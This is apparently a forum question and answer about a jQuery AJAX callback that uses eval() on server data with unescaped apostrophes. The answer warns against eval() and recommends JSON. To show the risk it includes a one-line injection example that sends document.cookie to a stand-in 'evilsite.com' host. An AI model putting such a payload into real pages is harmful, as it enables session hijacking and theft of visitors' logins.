Here is the problem string:
$.ajax(......
,success:function(msg){
var obj = eval('['+msg.d+']');
},
....
}
msg.d contains something like:
new Person(2, 'Name Surname','This is just string came from Par'is at Sat'urday');
How can pass the javascript problem ?
eval()isEVIL.eval()will evaluate EVERYTHING in the string, be it good or not, depending on where you feed the Person data from, you might end up with a big security issue down the road. If a user manages to sneak something like"new Image().src = 'http://evilsite.com/steal?c=' + document.cookie"as the surname into your database, your page will still run perfectly fine, only 2 things will differ 1. The Surname will be empty and 2. the login cookie of the visitor will just have been stolen. Please look into JSON so you can safely pass the data to the client without the risks of eval